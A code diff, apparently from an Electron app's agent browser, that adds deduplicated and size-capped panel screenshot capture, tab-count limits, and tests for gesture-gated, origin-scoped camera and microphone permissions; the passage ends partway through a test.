// Navigate bootstraps the session: the user can open the panel manually
|
||||
// (before the agent ever touched the browser) and drive it from the URL
|
||||
// bar. The other chrome actions need an existing page.
|
||||
|
||||
@@ -168,14 +168,14 @@ export class BrowserKnownSessionRegistry {
|
||||
* whoever was signed in, so Sim sign-out must not leave it for the next
|
||||
* account.
|
||||
*/
|
||||
clear(): void {
|
||||
clear(): boolean {
|
||||
this.config.set('browserKnownSites', [])
|
||||
// Not left to the debounce. Ordinary writes here can afford to coalesce,
|
||||
// but this one is an erasure the user asked for: if the process dies in
|
||||
// the coalescing window — force quit, crash, OS shutdown — the previous
|
||||
// account's browsing trail is still on disk for whoever signs in next,
|
||||
// and sign-out has already reported success.
|
||||
this.config.flush()
|
||||
return this.config.flush()
|
||||
}
|
||||
|
||||
list(cookieSignals: BrowserCookieSignal[]): BrowserKnownSessionsState {
|
||||
|
||||
@@ -126,6 +126,141 @@ describe('panel chat scope', () => {
|
||||
expect(view.setBounds).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('recovers when capturePage throws before returning a promise', async () => {
|
||||
const { win, view } = showPanel(panel)
|
||||
const scopeId = panel.getActivePanelScopeId()
|
||||
const image = await view.webContents.capturePage()
|
||||
vi.mocked(view.webContents.capturePage).mockImplementationOnce(() => {
|
||||
throw new Error('WebContents was destroyed')
|
||||
})
|
||||
|
||||
await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toBeNull()
|
||||
|
||||
vi.mocked(view.webContents.capturePage).mockResolvedValue(image)
|
||||
await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toMatchObject({
|
||||
dataUrl: 'data:image/png;base64,c2lt',
|
||||
})
|
||||
})
|
||||
|
||||
it('shares one native capture across concurrent requests for the same frame', async () => {
|
||||
const { win, view } = showPanel(panel)
|
||||
const scopeId = panel.getActivePanelScopeId()
|
||||
let resolveCapture:
|
||||
| ((image: Awaited<ReturnType<typeof view.webContents.capturePage>>) => void)
|
||||
| undefined
|
||||
const image = await view.webContents.capturePage()
|
||||
vi.mocked(view.webContents.capturePage).mockClear()
|
||||
vi.mocked(view.webContents.capturePage).mockReturnValue(
|
||||
new Promise((resolve) => {
|
||||
resolveCapture = resolve
|
||||
})
|
||||
)
|
||||
|
||||
const first = panel.capturePanelSnapshot(win, scopeId)
|
||||
const second = panel.capturePanelSnapshot(win, scopeId)
|
||||
expect(view.webContents.capturePage).toHaveBeenCalledOnce()
|
||||
resolveCapture?.(image)
|
||||
|
||||
await expect(Promise.all([first, second])).resolves.toHaveLength(2)
|
||||
expect(view.webContents.capturePage).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('does not dedupe a queued capture across panel owner windows', async () => {
|
||||
const { win, view } = showPanel(panel)
|
||||
const other = new BrowserWindow()
|
||||
const scopeId = panel.getActivePanelScopeId()
|
||||
const image = await view.webContents.capturePage()
|
||||
const pendingCaptures: Array<(value: typeof image) => void> = []
|
||||
vi.mocked(view.webContents.capturePage).mockClear()
|
||||
vi.mocked(view.webContents.capturePage).mockImplementation(
|
||||
() =>
|
||||
new Promise((resolve) => {
|
||||
pendingCaptures.push(resolve)
|
||||
})
|
||||
)
|
||||
|
||||
const first = panel.capturePanelSnapshot(win, scopeId)
|
||||
panel.setPanelBounds(PANEL_RECT, other)
|
||||
const second = panel.capturePanelSnapshot(other, scopeId)
|
||||
|
||||
expect(view.webContents.capturePage).toHaveBeenCalledOnce()
|
||||
pendingCaptures[0]?.(image)
|
||||
await expect(first).resolves.toBeNull()
|
||||
await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2))
|
||||
|
||||
pendingCaptures[1]?.(image)
|
||||
await expect(second).resolves.toMatchObject({ dataUrl: 'data:image/png;base64,c2lt' })
|
||||
})
|
||||
|
||||
it('serializes native captures and coalesces queued navigation requests to the latest page', async () => {
|
||||
const { win, view } = showPanel(panel)
|
||||
const scopeId = panel.getActivePanelScopeId()
|
||||
const image = await view.webContents.capturePage()
|
||||
const pendingCaptures: Array<(value: typeof image) => void> = []
|
||||
vi.mocked(view.webContents.capturePage).mockClear()
|
||||
vi.mocked(view.webContents.capturePage).mockImplementation(
|
||||
() =>
|
||||
new Promise((resolve) => {
|
||||
pendingCaptures.push(resolve)
|
||||
})
|
||||
)
|
||||
|
||||
vi.mocked(view.webContents.getURL).mockReturnValue('https://one.example')
|
||||
const first = panel.capturePanelSnapshot(win, scopeId)
|
||||
vi.mocked(view.webContents.getURL).mockReturnValue('https://two.example')
|
||||
const superseded = panel.capturePanelSnapshot(win, scopeId)
|
||||
vi.mocked(view.webContents.getURL).mockReturnValue('https://three.example')
|
||||
const latest = panel.capturePanelSnapshot(win, scopeId)
|
||||
|
||||
expect(view.webContents.capturePage).toHaveBeenCalledOnce()
|
||||
await expect(superseded).resolves.toBeNull()
|
||||
pendingCaptures[0]?.(image)
|
||||
await expect(first).resolves.toBeNull()
|
||||
await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2))
|
||||
|
||||
pendingCaptures[1]?.(image)
|
||||
await expect(latest).resolves.toMatchObject({ dataUrl: 'data:image/png;base64,c2lt' })
|
||||
expect(view.webContents.capturePage).toHaveBeenCalledTimes(2)
|
||||
})
|
||||
|
||||
it('does not dedupe content zoom changes that round to the same displayed percentage', async () => {
|
||||
const { win, view } = showPanel(panel)
|
||||
const scopeId = panel.getActivePanelScopeId()
|
||||
const image = await view.webContents.capturePage()
|
||||
const pendingCaptures: Array<(value: typeof image) => void> = []
|
||||
vi.mocked(view.webContents.capturePage).mockClear()
|
||||
vi.mocked(view.webContents.capturePage).mockImplementation(
|
||||
() =>
|
||||
new Promise((resolve) => {
|
||||
pendingCaptures.push(resolve)
|
||||
})
|
||||
)
|
||||
|
||||
vi.mocked(view.webContents.getZoomFactor).mockReturnValue(1.101)
|
||||
const first = panel.capturePanelSnapshot(win, scopeId)
|
||||
vi.mocked(view.webContents.getZoomFactor).mockReturnValue(1.104)
|
||||
const second = panel.capturePanelSnapshot(win, scopeId)
|
||||
|
||||
expect(view.webContents.capturePage).toHaveBeenCalledOnce()
|
||||
pendingCaptures[0]?.(image)
|
||||
await expect(first).resolves.toBeNull()
|
||||
await vi.waitFor(() => expect(view.webContents.capturePage).toHaveBeenCalledTimes(2))
|
||||
|
||||
pendingCaptures[1]?.(image)
|
||||
await expect(second).resolves.toMatchObject({ zoomPercent: 121 })
|
||||
})
|
||||
|
||||
it('refuses a panel capture whose pixel budget is unsafe', async () => {
|
||||
const { win, view } = showPanel(panel)
|
||||
const scopeId = panel.getActivePanelScopeId()
|
||||
vi.mocked(win.getContentSize).mockReturnValue([10_000, 10_000])
|
||||
panel.setPanelBounds({ x: 0, y: 0, width: 5_000, height: 5_000 }, win)
|
||||
vi.mocked(view.webContents.capturePage).mockClear()
|
||||
|
||||
await expect(panel.capturePanelSnapshot(win, scopeId)).resolves.toBeNull()
|
||||
expect(view.webContents.capturePage).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('requests a fresh compositor frame when a browser view is attached or revealed', () => {
|
||||
const { win, view } = showPanel(panel)
|
||||
|
||||
|
||||
@@ -31,6 +31,8 @@ const logger = createLogger('BrowserAgentPanel')
|
||||
*/
|
||||
const PANEL_LEASE_TTL_MS = 2_500
|
||||
const PANEL_LEASE_CHECK_MS = 1_000
|
||||
const MAX_PANEL_SNAPSHOT_PIXELS = 16_777_216
|
||||
const MAX_PANEL_SNAPSHOT_DATA_URL_LENGTH = 32 * 1024 * 1024
|
||||
|
||||
/** What the panel needs from the session, supplied once by {@link initPanel}. */
|
||||
export interface PanelHost {
|
||||
@@ -67,6 +69,19 @@ let panelOccluded = false
|
||||
let occlusionOwnerWindow: BrowserWindow | null = null
|
||||
/** Invalidates captures when ownership, scope, or panel visibility changes. */
|
||||
let panelCaptureGeneration = 0
|
||||
let inFlightPanelCapture: {
|
||||
generation: number
|
||||
key: string
|
||||
promise: Promise<BrowserPanelSnapshot | null>
|
||||
} | null = null
|
||||
let queuedPanelCapture: {
|
||||
key: string
|
||||
ownerWindow: BrowserWindow | undefined
|
||||
promise: Promise<BrowserPanelSnapshot | null>
|
||||
reject: (reason?: unknown) => void
|
||||
resolve: (snapshot: BrowserPanelSnapshot | null) => void
|
||||
scopeId: string
|
||||
} | null = null
|
||||
let panelLeaseAt = 0
|
||||
let leaseTimer: ReturnType<typeof setInterval> | null = null
|
||||
/** Chat whose native browser surface may currently be composited. */
|
||||
@@ -299,6 +314,8 @@ function resetOcclusion(): void {
|
||||
occlusionOwnerWindow = null
|
||||
occludableFrame = null
|
||||
panelCaptureGeneration++
|
||||
queuedPanelCapture?.resolve(null)
|
||||
queuedPanelCapture = null
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -491,6 +508,39 @@ function blankSnapshot(
|
||||
}
|
||||
}
|
||||
|
||||
function queuePanelCapture(
|
||||
key: string,
|
||||
ownerWindow: BrowserWindow | undefined,
|
||||
scopeId: string
|
||||
): Promise<BrowserPanelSnapshot | null> {
|
||||
if (queuedPanelCapture?.key === key) return queuedPanelCapture.promise
|
||||
|
||||
panelCaptureGeneration++
|
||||
queuedPanelCapture?.resolve(null)
|
||||
let resolveCapture!: (snapshot: BrowserPanelSnapshot | null) => void
|
||||
let rejectCapture!: (reason?: unknown) => void
|
||||
const promise = new Promise<BrowserPanelSnapshot | null>((resolve, reject) => {
|
||||
resolveCapture = resolve
|
||||
rejectCapture = reject
|
||||
})
|
||||
queuedPanelCapture = {
|
||||
key,
|
||||
ownerWindow,
|
||||
promise,
|
||||
reject: rejectCapture,
|
||||
resolve: resolveCapture,
|
||||
scopeId,
|
||||
}
|
||||
return promise
|
||||
}
|
||||
|
||||
function startQueuedPanelCapture(): void {
|
||||
const queued = queuedPanelCapture
|
||||
if (!queued) return
|
||||
queuedPanelCapture = null
|
||||
void capturePanelSnapshot(queued.ownerWindow, queued.scopeId).then(queued.resolve, queued.reject)
|
||||
}
|
||||
|
||||
/**
|
||||
* Captures the compositor surface without resizing or lossy encoding.
|
||||
*
|
||||
@@ -520,8 +570,6 @@ export async function capturePanelSnapshot(
|
||||
layout()
|
||||
if (attachedView !== active.view) return null
|
||||
|
||||
const generation = ++panelCaptureGeneration
|
||||
occludableFrame = null
|
||||
const tabId = active.id
|
||||
const contents = active.view.webContents
|
||||
const shellZoom = win.webContents.getZoomFactor()
|
||||
@@ -535,41 +583,106 @@ export async function capturePanelSnapshot(
|
||||
nativeBounds,
|
||||
}
|
||||
const viewportBounds = viewportBoundsFor(nativeBounds, shellZoom)
|
||||
const zoomPercent = zoomPercentOf(contents.getZoomFactor())
|
||||
const contentsZoom = contents.getZoomFactor()
|
||||
const zoomPercent = zoomPercentOf(contentsZoom)
|
||||
const url = contents.getURL()
|
||||
if (url === '' || url === 'about:blank') {
|
||||
panelCaptureGeneration++
|
||||
occludableFrame = null
|
||||
if (!frameGeometryIsCurrent(frame)) return null
|
||||
occludableFrame = frame
|
||||
return blankSnapshot(scopeId, tabId, zoomPercent, viewportBounds)
|
||||
}
|
||||
if (
|
||||
nativeBounds.width <= 0 ||
|
||||
nativeBounds.height <= 0 ||
|
||||
nativeBounds.width * nativeBounds.height > MAX_PANEL_SNAPSHOT_PIXELS
|
||||
) {
|
||||
logger.warn('Browser panel is too large to capture safely', {
|
||||
width: nativeBounds.width,
|
||||
height: nativeBounds.height,
|
||||
})
|
||||
return null
|
||||
}
|
||||
|
||||
const captureKey = JSON.stringify([
|
||||
win.id,
|
||||
scopeId,
|
||||
tabId,
|
||||
url,
|
||||
contentsZoom,
|
||||
shellZoom,
|
||||
nativeBounds.x,
|
||||
nativeBounds.y,
|
||||
nativeBounds.width,
|
||||
nativeBounds.height,
|
||||
])
|
||||
if (
|
||||
inFlightPanelCapture?.key === captureKey &&
|
||||
inFlightPanelCapture.generation === panelCaptureGeneration
|
||||
) {
|
||||
return inFlightPanelCapture.promise
|
||||
}
|
||||
if (inFlightPanelCapture) return queuePanelCapture(captureKey, ownerWindow, scopeId)
|
||||
|
||||
occludableFrame = null
|
||||
const generation = ++panelCaptureGeneration
|
||||
let capture: ReturnType<typeof contents.capturePage>
|
||||
try {
|
||||
const image = await contents.capturePage(undefined, { stayHidden: false })
|
||||
if (
|
||||
generation !== panelCaptureGeneration ||
|
||||
scopeId !== activePanelScopeId ||
|
||||
host.activeTab()?.id !== tabId ||
|
||||
panelWindow() !== win ||
|
||||
win.isDestroyed() ||
|
||||
!frameGeometryIsCurrent(frame) ||
|
||||
image.isEmpty()
|
||||
) {
|
||||
return null
|
||||
}
|
||||
const snapshot: BrowserPanelSnapshot = {
|
||||
scopeId,
|
||||
tabId,
|
||||
zoomPercent,
|
||||
viewportBounds,
|
||||
dataUrl: image.toDataURL(),
|
||||
}
|
||||
occludableFrame = frame
|
||||
return snapshot
|
||||
capture = contents.capturePage(undefined, { stayHidden: false })
|
||||
} catch (error) {
|
||||
logger.warn('Could not capture browser panel for a toolbar menu', {
|
||||
error: getErrorMessage(error, 'unknown'),
|
||||
})
|
||||
return null
|
||||
}
|
||||
const promise = capture
|
||||
.then((image): BrowserPanelSnapshot | null => {
|
||||
const imageSize = image.getSize()
|
||||
if (
|
||||
generation !== panelCaptureGeneration ||
|
||||
scopeId !== activePanelScopeId ||
|
||||
host.activeTab()?.id !== tabId ||
|
||||
panelWindow() !== win ||
|
||||
win.isDestroyed() ||
|
||||
!frameGeometryIsCurrent(frame) ||
|
||||
image.isEmpty() ||
|
||||
imageSize.width <= 0 ||
|
||||
imageSize.height <= 0 ||
|
||||
imageSize.width * imageSize.height > MAX_PANEL_SNAPSHOT_PIXELS
|
||||
) {
|
||||
return null
|
||||
}
|
||||
const dataUrl = image.toDataURL()
|
||||
if (dataUrl.length > MAX_PANEL_SNAPSHOT_DATA_URL_LENGTH) {
|
||||
logger.warn('Browser panel snapshot exceeded the encoded size limit', {
|
||||
bytes: dataUrl.length,
|
||||
})
|
||||
return null
|
||||
}
|
||||
const snapshot: BrowserPanelSnapshot = {
|
||||
scopeId,
|
||||
tabId,
|
||||
zoomPercent,
|
||||
viewportBounds,
|
||||
dataUrl,
|
||||
}
|
||||
occludableFrame = frame
|
||||
return snapshot
|
||||
})
|
||||
.catch((error) => {
|
||||
logger.warn('Could not capture browser panel for a toolbar menu', {
|
||||
error: getErrorMessage(error, 'unknown'),
|
||||
})
|
||||
return null
|
||||
})
|
||||
.finally(() => {
|
||||
if (inFlightPanelCapture?.promise !== promise) return
|
||||
inFlightPanelCapture = null
|
||||
startQueuedPanelCapture()
|
||||
})
|
||||
inFlightPanelCapture = { generation, key: captureKey, promise }
|
||||
return promise
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -6,7 +6,7 @@ import { beforeEach, describe, expect, it, vi } from 'vitest'
|
||||
|
||||
vi.mock('electron', () => import('@/test/electron-mock'))
|
||||
|
||||
import { BrowserWindow, session as electronSession, Menu, shell } from 'electron'
|
||||
import { BrowserWindow, session as electronSession, Menu, shell, systemPreferences } from 'electron'
|
||||
import { BASE_ZOOM_FACTOR, steppedZoomFactor } from '@/main/browser-agent/context-menu'
|
||||
import * as panel from '@/main/browser-agent/panel'
|
||||
import * as sessionModule from '@/main/browser-agent/session'
|
||||
@@ -14,6 +14,12 @@ import type { BrowserSessionSnapshot } from '@/main/desktop-chat-session-store'
|
||||
|
||||
type SessionModule = typeof import('@/main/browser-agent/session')
|
||||
|
||||
const realPlatform = process.platform
|
||||
|
||||
function setPlatform(platform: NodeJS.Platform): void {
|
||||
Object.defineProperty(process, 'platform', { configurable: true, value: platform })
|
||||
}
|
||||
|
||||
interface MockView {
|
||||
webContents: {
|
||||
session: {
|
||||
@@ -480,6 +486,133 @@ describe('browser-agent session', () => {
|
||||
})
|
||||
})
|
||||
|
||||
it('bounds restored tabs while retaining pinned tabs and the active page', () => {
|
||||
const tabs = Array.from({ length: 40 }, (_, index) => ({
|
||||
url: `https://tab-${index}.example/`,
|
||||
pinned: index < 5,
|
||||
}))
|
||||
const { persistence } = memoryBrowserPersistence({
|
||||
'chat-bounded-tabs': {
|
||||
v: 1,
|
||||
tabs,
|
||||
activeIndex: tabs.length - 1,
|
||||
downloads: [],
|
||||
},
|
||||
})
|
||||
session = freshSession(win, {}, persistence)
|
||||
|
||||
const restored = session.withBrowserScope('chat-bounded-tabs', () => {
|
||||
session.restoreBrowserSession()
|
||||
return session.getTabsState()
|
||||
})
|
||||
|
||||
expect(restored.tabs).toHaveLength(32)
|
||||
expect(restored.tabs.filter((tab) => tab.pinned)).toHaveLength(5)
|
||||
expect(restored.tabs.find((tab) => tab.active)?.url).toBe('https://tab-39.example/')
|
||||
})
|
||||
|
||||
it('refuses to materialize more than the per-task live tab budget', () => {
|
||||
session.ensureTab()
|
||||
for (let index = 1; index < 32; index++) session.addTab()
|
||||
|
||||
expect(() => session.addTab()).toThrow('at most 32 open tabs')
|
||||
expect(session.getTabsState().tabs).toHaveLength(32)
|
||||
})
|
||||
|
||||
it('bounds the total number of live browser WebContents across tasks', () => {
|
||||
for (let scopeIndex = 0; scopeIndex < 3; scopeIndex++) {
|
||||
session.withBrowserScope(`chat-cap-${scopeIndex}`, () => {
|
||||
session.ensureTab()
|
||||
for (let tabIndex = 1; tabIndex < 32; tabIndex++) session.addTab()
|
||||
})
|
||||
}
|
||||
|
||||
expect(() => session.withBrowserScope('chat-cap-overflow', () => session.ensureTab())).toThrow(
|
||||
'at most 96 live browser tabs'
|
||||
)
|
||||
})
|
||||
|
||||
it('does not truncate a saved browser session while the global tab budget is occupied', () => {
|
||||
const savedTabs = [
|
||||
{ url: 'https://saved-one.example/', pinned: false },
|
||||
{ url: 'https://saved-two.example/', pinned: false },
|
||||
]
|
||||
const { persistence, snapshots } = memoryBrowserPersistence({
|
||||
'chat-pending-restore': {
|
||||
v: 1,
|
||||
tabs: savedTabs,
|
||||
activeIndex: 1,
|
||||
downloads: [],
|
||||
},
|
||||
})
|
||||
session = freshSession(win, {}, persistence)
|
||||
for (let scopeIndex = 0; scopeIndex < 3; scopeIndex++) {
|
||||
session.withBrowserScope(`chat-cap-${scopeIndex}`, () => {
|
||||
session.ensureTab()
|
||||
for (let tabIndex = 1; tabIndex < 32; tabIndex++) session.addTab()
|
||||
})
|
||||
}
|
||||
|
||||
expect(() =>
|
||||
session.withBrowserScope('chat-pending-restore', () => session.restoreBrowserSession())
|
||||
).toThrow('at most 96 live browser tabs')
|
||||
expect(snapshots.get('chat-pending-restore')?.tabs).toEqual(savedTabs)
|
||||
|
||||
session.withBrowserScope('chat-cap-0', () => {
|
||||
const [first, second] = session.getTabsState().tabs
|
||||
session.closeTab(first.tabId)
|
||||
session.closeTab(second.tabId)
|
||||
})
|
||||
const restored = session.withBrowserScope('chat-pending-restore', () => {
|
||||
session.restoreBrowserSession()
|
||||
return session.getTabsState()
|
||||
})
|
||||
|
||||
expect(restored.tabs.map(({ url }) => url)).toEqual(savedTabs.map(({ url }) => url))
|
||||
expect(restored.tabs.find((tab) => tab.active)?.url).toBe('https://saved-two.example/')
|
||||
})
|
||||
|
||||
it('rolls back a failed restore and retries without duplicating tabs', () => {
|
||||
const { persistence } = memoryBrowserPersistence({
|
||||
'chat-retry': {
|
||||
v: 1,
|
||||
tabs: [
|
||||
{ url: 'https://one.example/', pinned: false },
|
||||
{ url: 'https://two.example/', pinned: true },
|
||||
{ url: 'https://three.example/', pinned: false },
|
||||
],
|
||||
activeIndex: 2,
|
||||
downloads: [],
|
||||
},
|
||||
})
|
||||
const createdContents: MockView['webContents'][] = []
|
||||
const onTabCreated = vi.fn((contents: WebContents) => {
|
||||
createdContents.push(contents as unknown as MockView['webContents'])
|
||||
if (createdContents.length === 2) throw new Error('instrumentation failed')
|
||||
})
|
||||
session = freshSession(win, { onTabCreated }, persistence)
|
||||
|
||||
expect(() =>
|
||||
session.withBrowserScope('chat-retry', () => session.restoreBrowserSession())
|
||||
).toThrow('instrumentation failed')
|
||||
expect(session.withBrowserScope('chat-retry', () => session.peekTabsState().tabs)).toEqual([])
|
||||
expect(createdContents).toHaveLength(2)
|
||||
expect(createdContents.every((contents) => contents.close.mock.calls.length === 1)).toBe(true)
|
||||
|
||||
session.withBrowserScope('chat-retry', () => session.restoreBrowserSession())
|
||||
expect(session.withBrowserScope('chat-retry', () => session.getTabsState())).toMatchObject({
|
||||
activeTabId: '3',
|
||||
tabs: [
|
||||
{ tabId: '2', url: 'https://two.example/', pinned: true, active: false },
|
||||
{ tabId: '1', url: 'https://one.example/', pinned: false, active: false },
|
||||
{ tabId: '3', url: 'https://three.example/', pinned: false, active: true },
|
||||
],
|
||||
})
|
||||
|
||||
session.withBrowserScope('chat-retry', () => session.restoreBrowserSession())
|
||||
expect(createdContents).toHaveLength(5)
|
||||
})
|
||||
|
||||
it('quiesces live scopes without publishing session closure', () => {
|
||||
const onTabsChanged = vi.fn()
|
||||
const onSessionClosed = vi.fn()
|
||||
@@ -1954,9 +2087,18 @@ describe('browser-agent session', () => {
|
||||
expect(event.preventDefault).toHaveBeenCalledOnce()
|
||||
})
|
||||
|
||||
it('permission handlers deny everything on the agent partition but the copy button and media', async () => {
|
||||
it('grants media only after an active-page, origin-scoped user decision', async () => {
|
||||
vi.mocked(win.isFocused).mockReturnValue(true)
|
||||
panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
|
||||
const tab = session.ensureTab()
|
||||
const ses = (tab.view as unknown as MockView).webContents.session
|
||||
const contents = (tab.view as unknown as MockView).webContents
|
||||
contents.isFocused.mockReturnValue(true)
|
||||
const gestureHandler = contents.on.mock.calls.find(
|
||||
([eventName]) => eventName === 'before-mouse-event'
|
||||
)?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
|
||||
gestureHandler?.({}, { type: 'mouseDown' })
|
||||
|
||||
const ses = contents.session
|
||||
const requestHandler = ses.setPermissionRequestHandler.mock.calls[0][0] as (
|
||||
wc: unknown,
|
||||
permission: string,
|
||||
@@ -1979,13 +2121,67 @@ describe('browser-agent session', () => {
|
||||
expect(checkHandler(null, permission)).toBe(false)
|
||||
}
|
||||
|
||||
// Media is the deliberate exception — the agent browser joins real
|
||||
// meetings — but the grant is gated on the OS grant (mocked as granted
|
||||
// here), so System Settings remains the real authority.
|
||||
const mediaCallback = vi.fn()
|
||||
requestHandler(null, 'media', mediaCallback, { mediaTypes: ['audio', 'video'] })
|
||||
await vi.waitFor(() => expect(mediaCallback).toHaveBeenCalledWith(true))
|
||||
expect(checkHandler(null, 'media', undefined, { mediaType: 'audio' })).toBe(true)
|
||||
requestHandler(contents, 'media', mediaCallback, {
|
||||
isMainFrame: true,
|
||||
mediaTypes: ['audio'],
|
||||
requestingUrl: 'https://example.com/',
|
||||
securityOrigin: 'https://example.com',
|
||||
})
|
||||
expect(mediaCallback).not.toHaveBeenCalled()
|
||||
const prompt = session.mediaPermissionRequestForContents(contents as unknown as WebContents)
|
||||
expect(prompt).toMatchObject({
|
||||
origin: 'https://example.com',
|
||||
devices: ['microphone'],
|
||||
})
|
||||
|
||||
await session.respondToMediaPermission(prompt?.requestId ?? '', true)
|
||||
|
||||
expect(mediaCallback).toHaveBeenCalledWith(true)
|
||||
expect(
|
||||
checkHandler(contents, 'media', 'https://example.com', {
|
||||
isMainFrame: true,
|
||||
mediaType: 'audio',
|
||||
})
|
||||
).toBe(true)
|
||||
expect(
|
||||
checkHandler(contents, 'media', 'https://example.com', {
|
||||
isMainFrame: true,
|
||||
mediaType: 'video',
|
||||
})
|
||||
).toBe(false)
|
||||
expect(
|
||||
checkHandler(contents, 'media', 'https://other.example', {
|
||||
isMainFrame: true,
|
||||
mediaType: 'audio',
|
||||
})
|
||||
).toBe(false)
|
||||
expect(
|
||||
checkHandler(contents, 'media', 'https://example.com', {
|
||||
isMainFrame: false,
|
||||
mediaType: 'audio',
|
||||
})
|
||||
).toBe(false)
|
||||
|
||||
mainFrameNavigationStarted(contents)
|
||||
expect(
|
||||
checkHandler(contents, 'media', 'https://example.com', {
|
||||
isMainFrame: true,
|
||||
mediaType: 'audio',
|
||||
})
|
||||
).toBe(false)
|
||||
|
||||
const staleGestureCallback = vi.fn()
|
||||
requestHandler(contents, 'media', staleGestureCallback, {
|
||||
isMainFrame: true,
|
||||
mediaTypes: ['audio'],
|
||||
requestingUrl: 'https://example.com/',
|
||||
securityOrigin: 'https://example.com',
|
||||
})
|
||||
expect(staleGestureCallback).toHaveBeenCalledWith(false)
|
||||
expect(
|
||||
session.mediaPermissionRequestForContents(contents as unknown as WebContents)
|
||||
).toBeUndefined()
|
||||
|
||||
// Chromium routes navigator.clipboard.writeText through this one; denying
|
||||
// it silently broke every copy button that does not use execCommand.
|
||||
@@ -1995,6 +2191,174 @@ describe('browser-agent session', () => {
|
||||
expect(checkHandler(null, 'clipboard-sanitized-write')).toBe(true)
|
||||
})
|
||||
|
||||
it('default-denies hidden, subframe, origin-mismatched, and untyped media requests', () => {
|
||||
const tab = session.ensureTab()
|
||||
const contents = (tab.view as unknown as MockView).webContents
|
||||
const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as (
|
||||
wc: unknown,
|
||||
permission: string,
|
||||
callback: (granted: boolean) => void,
|
||||
details?: unknown
|
||||
) => void
|
||||
|
||||
vi.mocked(win.isFocused).mockReturnValue(true)
|
||||
contents.isFocused.mockReturnValue(true)
|
||||
const gestureHandler = contents.on.mock.calls.find(
|
||||
([eventName]) => eventName === 'before-mouse-event'
|
||||
)?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
|
||||
gestureHandler?.({}, { type: 'mouseDown' })
|
||||
const hidden = vi.fn()
|
||||
requestHandler(contents, 'media', hidden, {
|
||||
isMainFrame: true,
|
||||
mediaTypes: ['audio'],
|
||||
requestingUrl: 'https://example.com/',
|
||||
securityOrigin: 'https://example.com',
|
||||
})
|
||||
expect(hidden).toHaveBeenCalledWith(false)
|
||||
|
||||
for (const details of [
|
||||
{
|
||||
isMainFrame: false,
|
||||
mediaTypes: ['audio'],
|
||||
requestingUrl: 'https://example.com/',
|
||||
securityOrigin: 'https://example.com',
|
||||
},
|
||||
{
|
||||
isMainFrame: true,
|
||||
mediaTypes: [],
|
||||
requestingUrl: 'https://example.com/',
|
||||
securityOrigin: 'https://example.com',
|
||||
},
|
||||
{
|
||||
isMainFrame: true,
|
||||
mediaTypes: ['audio'],
|
||||
requestingUrl: 'https://other.example/',
|
||||
securityOrigin: 'https://other.example',
|
||||
},
|
||||
]) {
|
||||
const callback = vi.fn()
|
||||
requestHandler(contents, 'media', callback, details)
|
||||
expect(callback).toHaveBeenCalledWith(false)
|
||||
}
|
||||
|
||||
expect(
|
||||
session.mediaPermissionRequestForContents(contents as unknown as WebContents)
|
||||
).toBeFalsy()
|
||||
})
|
||||
|
||||
it('denies a pending media request when its document navigates or tab closes', () => {
|
||||
vi.mocked(win.isFocused).mockReturnValue(true)
|
||||
panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
|
||||
const tab = session.ensureTab()
|
||||
const contents = (tab.view as unknown as MockView).webContents
|
||||
contents.isFocused.mockReturnValue(true)
|
||||
const gestureHandler = contents.on.mock.calls.find(
|
||||
([eventName]) => eventName === 'before-mouse-event'
|
||||
)?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
|
||||
const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as (
|
||||
wc: unknown,
|
||||
permission: string,
|
||||
callback: (granted: boolean) => void,
|
||||
details?: unknown
|
||||
) => void
|
||||
const request = (callback: (granted: boolean) => void) => {
|
||||
gestureHandler?.({}, { type: 'mouseDown' })
|
||||
requestHandler(contents, 'media', callback, {
|
||||
isMainFrame: true,
|
||||
mediaTypes: ['audio', 'video'],
|
||||
requestingUrl: 'https://example.com/',
|
||||
securityOrigin: 'https://example.com',
|
||||
})
|
||||
}
|
||||
|
||||
const navigated = vi.fn()
|
||||
request(navigated)
|
||||
mainFrameNavigationStarted(contents)
|
||||
expect(navigated).toHaveBeenCalledWith(false)
|
||||
|
||||
const closed = vi.fn()
|
||||
request(closed)
|
||||
session.closeTab(tab.id)
|
||||
expect(closed).toHaveBeenCalledWith(false)
|
||||
})
|
||||
|
||||
it('keeps the site denied when the operating system rejects an approved device', async () => {
|
||||
setPlatform('darwin')
|
||||
try {
|
||||
vi.mocked(systemPreferences.getMediaAccessStatus).mockReturnValue('not-determined')
|
||||
vi.mocked(systemPreferences.askForMediaAccess).mockResolvedValue(false)
|
||||
win.isFocused = vi.fn(() => true)
|
||||
panel.setPanelBounds({ x: 100, y: 50, width: 800, height: 600 })
|
||||
const tab = session.ensureTab()
|
||||
const contents = (tab.view as unknown as MockView).webContents
|
||||
contents.isFocused.mockReturnValue(true)
|
||||
const gestureHandler = contents.on.mock.calls.find(
|
||||
([eventName]) => eventName === 'before-mouse-event'
|
||||
)?.[1] as ((_event: unknown, mouse: { type: string }) => void) | undefined
|
||||
gestureHandler?.({}, { type: 'mouseDown' })
|
||||
const requestHandler = contents.session.setPermissionRequestHandler.mock.calls[0][0] as (
|
||||
wc: unknown,
|
||||
permission: string,
|
||||
callback: (granted: boolean) => void,
|
||||
details?: unknown
|
||||
) => void
|
||||
const callback = vi.fn()
|
||||
requestHandler(contents, 'media', callback, {
|
||||
isMainFrame: true,
|
||||
mediaTypes: ['video'],
|
||||
requestingUrl: 'https://example.com/',
|
||||
securityOrigin: 'https://example.com',
|
||||
})
|
||||
|
||||
const prompt = session.mediaPermissionRequestForContents(contents as unknown as WebContents)
|
||||
await session.respondToMediaPermission(prompt?.requestId ?? '', true)
|
||||
|
||||
expect(systemPreferences.askForMediaAccess).toHaveBeenCalledWith('camera')
|
||||
expect(callback).toHaveBeenCalledWith(false)
|
||||
} finally {
|
||||
